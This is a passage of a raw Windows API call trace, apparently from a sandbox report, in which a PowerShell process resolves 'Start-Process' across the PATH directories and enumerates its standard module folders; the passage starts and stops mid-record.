lpFindFileData=0x5bfed4e0e0 | out: lpFindFileData=0x5bfed4e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2d0) returned 1 [0200.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e280) returned 1 [0200.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4e330, nSize=0xbc | out: lpBuffer="葐\x06ǯ") returned 0x0 [0200.470] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bfed4e1a0, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0200.470] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bfed4e160, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0200.470] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0200.471] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bfed4e160, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0200.471] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0200.471] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0200.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2f0) returned 1 [0200.471] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3d0 | out: lpFileInformation=0x5bfed4e3d0*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2b0) returned 1 [0200.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.471] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0200.471] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0200.471] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Start-Process.*", lpFindFileData=0x5bfed4e060 | out: lpFindFileData=0x5bfed4e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0200.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e200) returned 1 [0200.472] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0200.472] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0200.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2f0) returned 1 [0200.472] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3d0 | out: lpFileInformation=0x5bfed4e3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1 [0200.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2b0) returned 1 [0200.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.472] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0200.472] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0200.472] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\Start-Process.*", lpFindFileData=0x5bfed4e060 | out: lpFindFileData=0x5bfed4e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0200.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e200) returned 1 [0200.473] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0200.473] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0200.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2f0) returned 1 [0200.473] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3d0 | out: lpFileInformation=0x5bfed4e3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0200.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2b0) returned 1 [0200.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.473] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0200.473] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0200.473] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\Start-Process.*", lpFindFileData=0x5bfed4e060 | out: lpFindFileData=0x5bfed4e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0200.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e200) returned 1 [0200.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0200.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0200.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2f0) returned 1 [0200.474] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3d0 | out: lpFileInformation=0x5bfed4e3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x97384b75, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x97384b75, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1 [0200.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2b0) returned 1 [0200.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0200.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0200.474] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Start-Process.*", lpFindFileData=0x5bfed4e060 | out: lpFindFileData=0x5bfed4e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0200.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e200) returned 1 [0200.474] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0200.475] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0200.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2f0) returned 1 [0200.475] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3d0 | out: lpFileInformation=0x5bfed4e3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9765981c, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9765981c, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2b0) returned 1 [0200.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.475] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0200.475] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0200.475] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Start-Process.*", lpFindFileData=0x5bfed4e060 | out: lpFindFileData=0x5bfed4e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0200.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e200) returned 1 [0200.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0200.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0200.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2f0) returned 1 [0200.476] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3d0 | out: lpFileInformation=0x5bfed4e3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2b0) returned 1 [0200.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e340) returned 1 [0200.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0200.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0200.476] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Start-Process.*", lpFindFileData=0x5bfed4e060 | out: lpFindFileData=0x5bfed4e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0200.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e200) returned 1 [0200.478] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bfed4e200, nSize=0xbc | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0200.481] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0200.494] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0200.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0200.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0200.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704a9980 [0200.495] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0200.496] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0200.497] FindNextFileW (in: hFindFile=0x1ef704a9980, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0200.497] FindClose (in: hFindFile=0x1ef704a9980 | out: hFindFile=0x1ef704a9980) returned 1 [0200.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0200.497] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0200.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0200.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0200.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0200.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 